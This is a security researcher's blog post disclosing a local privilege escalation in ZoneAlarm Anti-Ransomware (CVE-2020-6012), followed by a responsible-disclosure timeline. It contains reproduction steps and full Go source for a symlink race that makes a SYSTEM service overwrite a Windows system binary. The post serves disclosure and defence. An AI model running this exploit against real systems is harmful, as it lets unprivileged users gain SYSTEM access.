2020-09-10 11:00 | Mads Joensen

CVE-2020-6012: Local Privilege Escalation in ZoneAlarm Anti-Ransomware by Check Point

Ransomware have become a constant threat to individuals and organisations. The anti-virus vendors have been scrambling to invent a solution to combat this fast and destructive malware type. Unlike other malware, they pose an additional challenge. It has to be detected before running, which is naturally hard if packing/obfuscating/encrypting prevents any meaningful static analysis, or it has to be detected very early in its execution to limit the damage that it causes. The difference between detecting it in its first seconds and detecting it after a few minutes is significant compared to other malware.

We encountered ZoneAlarm Anti-Ransomware software which is specialized anti-ransomware software developed by the large cyber security software company Check Point. This triggered further investigation as we always make an effort to investigate the security software that our clients use.

The software monitors your system for any sign of ransomware, stops running ransomware and has the ability to recover files affected by ransomware. As a security researcher, it is always interesting to see what the program actually does upon a positive detection so I created a very trivial ransomware program which given a path encrypts all files recursively. Testing this ransomware, it seemed quite inconsistent when or if ZoneAlarm detected my trivial ransomware. It turns out that one of ZoneAlarms detection methods involves trap/bait files that trigger ZoneAlarm if modified by ransomware. An example of these can be seen below. Pointing my ransomware to a folder containing these trap files ensured consistent detection of my ransomware.

ZoneAlarm trap files

When ZoneAlarm is triggered by ransomware it seeks to terminate the ransomware, catalogue the files that it altered, which enables recovery of those files, and then it generates a HTML report of the attack. The report generation part is especially interesting because all of this occurs, in the realm of local privilege escalations, infamous C:\ProgramData folder. This folder is infamous because by default unprivileged users have write permissions in this folder and any subfolder. This requires software developers to actively change permissions on their subfolders to correctly lock down attack vectors. An example of the cool ZoneAlarm report can be seen below.

ZoneAlarm report generation

In the case of ZoneAlarms report generation, the SYSTEM process EFRService.exe generates a folder with a random UID in C:\ProgramData\CheckPoint\DBStore\Events\ and starts copying all files from C:\ProgramData\CheckPoint\DBStore\Events\graph to this folder. As this occurs in ProgramData, all of these folders are writeable by the user. This means that a SYSTEM process copies arbitrary files from one folder where the unprivileged user has write permissions to another folder where the unprivileged user has write permissions. This primitive can often be exploited into a local privilege escalation as seen in the blog post regarding Sierra wireless where the same primitive was present. This copying can be seen in Procmon below.

ZoneAlarm file copy

It is important to note that the original exploit utilized hard links (CVE-2020-0896) but in the time since reporting the bug and this blog post, hard links have been fixed by Windows. I will therefore describe a slightly altered version of the original exploit using symlinks instead of hard links.

In order to escalate the primitive described above, we need to use symbolic links (symlinks) to trick EFRService.exe to write an arbitrary file with our own content. Exploiting ZoneAlarms report generation poses one big problem. The symlink will have to be created in the folder named with a random UID, so we need to detect this random UID and create the symlink before our file containing malicious code is copied by EFRService.exe. As this takes no more than a couple of seconds, it requires exceptional timing and a bit of luck to pull off.

I recognized a couple of attempts later that I had neither exceptional timing or luck. I needed to slow down the report generation such that I had time to detect the random UID and create the symlink. As ZoneAlarm copies the entire content of the graph-folder in alphabetical order we can slow down this copy operation by creating a large dummy file with a name that precedes the name of our malicious file. This means that ZoneAlarm has to copy this large dummy file before our malicious file buying us time to detect the random UID and create the symlink.

Putting it all together:

  • We need to create a large dummy file and a file with malicious code in C:\ProgramData\CheckPoint\DBStore\Events\graph.
  • We monitor C:\ProgramData\CheckPoint\DBStore\Events\ for any new folders
  • We execute a minor ransomware attack triggering ZoneAlarm
  • ZoneAlarm creates a report folder with a random UID C:\ProgramData\CheckPoint\DBStore\Events\ which we obtain
  • While ZoneAlarm is copying the graph-folder, we create a symlink in C:\ProgramData\CheckPoint\DBStore\Events\RANDOM-UID\from our malicious file to our target file
  • When ZoneAlarm copies our malicious file into the report folder, it follows the symlink writing our malicious content to the target file
  • It is now trivial to pick a target file which will create a local privilege escalation

Obviously this requires some code to orchestrate, so I wrote a program that does exactly what was stated above except the ransomware attack. The ransomware needs to occur in a separate program as the process is killed by ZoneAlarm. The code is appended at the end of this blog post to the curious reader. I also used James Forshaws great CreateSymlink.exe utility from this repository to do the actual symlink creation.

We can now write our malicious content to arbitrary files using SYSTEM privileges by tricking ZoneAlarm into copying our malicious file onto a symlink. Doing this with C:\Windows\SysWOW64\dpnsvr.exe> looks like this:

ZoneAlarm full hack

Steps to reproduce

  1. Download the symbolic link testing tools by James Forshaw
  2. Compile race_condition.go
  3. Place CreateSymlink.exe next to the compiled race_condition.go
  4. Run race_condition.go, wait for it to say "ready"
  5. Launch your trivial ransomware. Target C:\Users\Public to hit trap/bait files
  6. Wait for ZoneAlarm to trigger and generate the report
  7. Verify that C:\Windows\SysWOW64\dpnsvr.exe contains "malicious content"

Responsible Disclosure

In our best efforts to follow the practice of responsible disclosure, I reported this issue privately to Check Point. They were very cooperative and acted in a timely and professional manner. Here is their advisory for ZoneAlarm

Below is a timeline of the disclosure process:

  • 2020-02-17 - Initial contact to Check Point Security Team
  • 2020-02-20 - Check Point verifies the bug
  • 2020-02-21 - Correspondence regarding how best to fix the bug
  • 2020-07-28 - Fix released
  • 2020-09-10 - Blog released
race_condition.go
          
        package main
        import (
          "fmt"
          "log"
          "path/filepath"
          "github.com/radovskyb/watcher"
          "time"
          "os"
          "io/ioutil"
          "strings"
          "os/exec"
          "bytes"
        )
        func fatalIfErr(err error) {
          if err != nil {
            log.Fatal(err)
          }
        }
        func createSymLink(start string, target string) {
          fmt.Println("CreateSymLink", start, target)
          cmd := exec.Command("cmd", "/c", "start", "CreateSymLink.exe", start, target)
          var out bytes.Buffer
          cmd.Stdout = &out
          err := cmd.Run()
          fmt.Println(out.String())
          if err != nil {
            fmt.Println(err)
          } else {
            fmt.Println("symlink created")
          }
        }
        func main() {
          w := watcher.New()
          w.SetMaxEvents(1)
          w.FilterOps(watcher.Create)
          err := os.Mkdir("C:\\ProgramData\\CheckPoint\\DBStore\\Events\\graph\\images\\test\\", 0777)
          if err != nil {
            log.Fatal(err)
          }
          dummySize := 1024 * 1024 * 500
          dummyPath := "C:\\ProgramData\\CheckPoint\\DBStore\\Events\\graph\\images\\appappapp.svg"
          err = ioutil.WriteFile(dummyPath, make([]byte, dummySize, dummySize), 0644)
          fatalIfErr(err)
          maliciousPath := "C:\\ProgramData\\CheckPoint\\DBStore\\Events\\graph\\images\\test\\webwebweb.svg"
          err = ioutil.WriteFile(maliciousPath, []byte("malicious content"), 0644)
          fatalIfErr(err)
          fmt.Println("dummy and malicious file created")
          go func() {
            for {
              select {
              case event := <-w.Event:
                eventID := filepath.Base(event.Path)
                if len(eventID) < 32 {
                  continue
                }
                fmt.Println(event)
                switch {
                case strings.Contains(event.Path, "DBStore"):
                  for {
                    files, err := ioutil.ReadDir(event.Path)
                    fatalIfErr(err)
                    for _, f := range files {
                      if strings.Contains(f.Name(), "images") {
                        symlinkPath := "C:\\ProgramData\\CheckPoint\\DBStore\\Events\\" + eventID + "\\images\\test\\webwebweb.svg"
                        createSymLink(symlinkPath, "C:\\Windows\\SysWOW64\\dpnsvr.exe")
                        os.Exit(0)
                      }
                    }
                  }
                }
              case err := <-w.Error:
                log.Fatalln(err)
              case <-w.Closed:
                return
              }
            }
          }()
          if err := w.Add("C:\\ProgramData\\CheckPoint\\DBStore\\Events\\"); err != nil {
            log.Fatalln(err)
          }
          fmt.Println("ready")
          if err := w.Start(time.Millisecond * 1); err != nil {
            log.Fatalln(err)
          }
        }
          
  

Contact us

+45 3113 7316

[email protected]

Vester Farimagsgade 41, 1606 Copenhagen V

Consulting | Training | Blog | About

© 2020 Danish Cyber Defence A/S · Vester Farimagsgade 41 · 1606 Copenhagen V · CVR 38871064